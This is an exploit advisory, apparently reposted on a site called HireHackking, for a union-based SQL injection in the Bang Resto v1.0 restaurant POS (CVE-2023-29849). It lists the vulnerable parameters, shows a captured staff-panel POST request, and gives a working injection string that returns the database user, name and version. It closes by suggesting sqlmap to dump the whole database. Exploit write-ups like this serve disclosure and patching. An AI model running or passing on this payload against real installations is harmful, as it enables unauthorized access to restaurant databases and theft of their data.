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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Bang Resto v1.0 - 'Multiple' SQL Injection
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29849

*Affected Parameters:*
btnMenuItemID, itemID, itemPrice, menuID, staffID, itemPrice, itemID[],
itemqty[], btnMenuItemID

*Steps to Reproduce:*
1. First login your staff panel.
2. then go to "order" menu and Select menu then create order and intercept
request data using burp suite.
so your request data will be:

POST /bangresto/staff/displayitem.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/staff/order.php
Cookie: PHPSESSID=2rqvjgkoog89i6g7dn7evdkmk5
Connection: close

btnMenuItemID=1&qty=1

3. "btnMenuItemID" parameter is vulnerable. Let's try to inject union based
SQL Injection use this query ".1 union select
1,2,3,CONCAT_WS(0x203a20,0x557365723a3a3a3a20,USER(),0x3c62723e,0x44617461626173653a3a3a3a3a20,DATABASE(),0x3c62723e,0x56657273696f6e3a3a3a3a20,VERSION())--
-" in "btnMenuItemID" parameter.
4. Check browser you will see user, database and version informations.
5. You could also use sqlmap to dump the whole database by saving the web request from BurpSuite